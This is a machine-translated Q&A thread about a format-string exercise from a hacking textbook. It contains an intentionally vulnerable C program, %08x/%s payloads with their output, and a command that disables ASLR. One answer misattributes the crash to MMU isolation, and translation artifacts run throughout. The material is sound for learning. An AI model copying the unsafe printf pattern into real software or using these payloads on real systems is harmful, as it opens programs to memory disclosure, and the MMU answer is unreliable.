我正在阅读“黑客 - 剥削艺术”一书。
这是我用于利用格式字符串的代码的简化版本。
/* fmt_vuln.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main (int argc, char *argv[]){
char text [1024];
if (argc < 2){
printf ("Usage: %s <text to print>\n", argv[0]);
exit (0);
}
strcpy (text, argv[1]);
printf ("The wrong way to print user-controlled input:\n");
printf (text);
printf ("\n");
return 0;
}
我运行此命令:
./fmt_vuln AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
我得到了:
The wrong way to print user-controlled input:
AAAA59055000.58e347a0.58b68620.ffffffff.00000000.fba56ac8.58a9fc58.41414141
所以,我看到第8个格式参数是从格式字符串的开头读取的。
然后,当我运行命令时:
./getenv PATH ./fmt_vuln
我收到了地址:
0x7ffe2a673d84
所以我试着运行:(为了打印PATH变量)
./fmt_vuln $(printf "\x84\x3d\x67\x2a\xfe\x7f")%08x.%08x.%08x.%08x.%08x.%08x.%08x.%s
我得到了:
The wrong way to print user-controlled input:
Segmentation fault
为什么我遇到了段错误?从getenv程序我得到了PATH的地址,但程序仍然崩溃......
感谢帮助。
答案 0 :(得分:7)
出于安全原因,并非计算机中的所有进程共享相同的memory space。当我谈论不同的记忆空间时,我的意思是什么?考虑以下两个程序:
//program 1
int main(int argc, char** argv){
printf("%02x", *((uint8_t*)0xf00fba11));
return 0;
}
//program 2
int main(int argc, char** argv){
printf("%02x", *((uint8_t*)0xf00fba11));
return 0;
}
如果要同时运行这些程序(并假设它们不会发生段错误(他们几乎肯定会这样)),它们会打印出不同的值。怎么会这样??他们都访问内存位置0xf00fba11!...还是他们?
为了理解这里发生的事情,我们首先需要了解当cpu从内存加载一个值时发生了什么。要从内存加载值,cpu会向RAM发送请求,如下所示:
cpu
|-------------| |---------|
| read |-------address out to RAM (0xf00fba11)---->| RAM |
| | | |
| *0xf00fba11 |<---------data coming back to CPU----------| |
|-------------| |---------|
cpu和ram之间有一个特殊的硬件,可以转换来自&#34;虚拟地址&#34; to&#34;物理地址&#34;,它被称为内存管理单元(简称MMU)。如果程序要求地址0x1000处的值,MMU可能会重新映射&#34; 0x1000到0x8000。如果地址0x1000在到达RAM进行所有读写操作之前总是被0x8000替换,那么这似乎是一个毫无意义的操作。该计划仍以完全相同的方式运作......那么最重要的是什么?
最重要的是,现在程序1和2无法访问彼此的数据。可以配置MMU,使得不存在程序1可以从中读取的地址,该地址包含程序2的变量之一。这个&#34;映射&#34;对于每个进程(主要是)都是唯一的,并且由操作系统配置。
以下是MMU如何影响我们的玩具的示例&#34; f00fba11&#34;示例
Process 1
cpu
|-------------| |---------|
| read |---0xf00fba11---| MMU |--0x1000ba11------->| RAM |
| | | |
| *0xf00fba11 |<---------data coming back to CPU----------| |
|-------------| |---------|
Process 2
cpu
|-------------| |---------|
| read |---0xf00fba11---| MMU |--0x7000ba11------->| RAM |
| | | |
| *0xf00fba11 |<---------data coming back to CPU----------| |
|-------------| |---------|
进程1和进程2都要求存储在存储器地址0xf00fba11中的数据,但它们被赋予了2个完全不同的RAM单元!这个明智的发明被称为虚拟记忆&#34;。我们说2个进程有不同的地址空间&#34;如果MMU将以不同的方式映射他们的记忆。操作系统决定这些映射并配置MMU以遵守它们,从而&#34;绝缘&#34;彼此的过程。考虑2个进程和他们可能想要访问的内存地址。
Process 1
asks for | gets physical address
------------------------------------
0x0000 - 0x0fff | ERROR SEGFAULT
0x1000 - 0x1fff | 0x70000 - 0x70fff
0x2000 - 0x2fff | 0x30000 - 0x30fff
0x3000 - 0x3fff | 0xa7000 - 0xa7fff
etc.... | etc.....
Process 2
asks for | gets physical address
------------------------------------
0x0000 - 0x0fff | ERROR SEGFAULT
0x1000 - 0x1fff | 0xb1000 - 0xb1fff
0x2000 - 0x2fff | 0x40000 - 0x40fff
0x3000 - 0x3fff | 0x1c000 - 0x1cfff
etc.... | etc.....
因此,如果在进程1中的内存地址0x7ffe2a673d84处加载了一个envrionment变量,它可能会转换为物理地址0x63002a673d84。此外,当进程2尝试访问* 0x7ff32a673d84时,它将被映射到完全不同的地址,或者,对于进程2,在您的情况下,它可能是UNMAPPED ,从而导致 段错误。 强>
所以坏消息是,我不认为你有什么方法可以修复&#34;您的代码存在此问题。做你想做的事情会给你一个段错误或随机,无用的数据。要获取您感兴趣的数据,您需要查看MMU配置设置并更改它们,除非您以提升的权限级别运行,否则不允许这样做。
在我们分手之前,值得注意的是,进程之间可能存在一些共享地址,以便在两个进程之间来回传递数据或访问共享软件库。也就是说,对于几个不同的进程,0x1000将转换为0x5000。
或许我不知道你在谈论什么。我并没有真正关注./getenv PATH ./fmt_vuln
答案 1 :(得分:0)
您使用64位系统,因此您的地址有8个字节。
查看该地址0x7ffe2a673d84
,它只有6个字节。这意味着高两个字节为零。但是您不能像\xff\xaa\xbb\x00
那样简单地将零字节作为十六进制字符串提供,因为程序会将那个零字节解释为字符串的结尾。
您需要使用32位系统进行实验,x64体系结构将不允许您利用此漏洞。
答案 2 :(得分:0)
偶然发现同一件事(读同一本书)。
getenv_addr
并非超级可靠。通过添加以下内容,我在PATH
中显示了fmt_vuln.c
的确切地址,从而作弊:
printf("[*] %s is at %p\n", "PATH", getenv("PATH"));
这将为您提供一个应该工作的地址,并且地址与getenv_addr
所提供的地址之间的距离不应太远。
此外,请确保禁用ASLR(地址空间布局随机化-基本上是将地址空间位置随机化):
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
并确保编译32位程序(gcc -m32
)。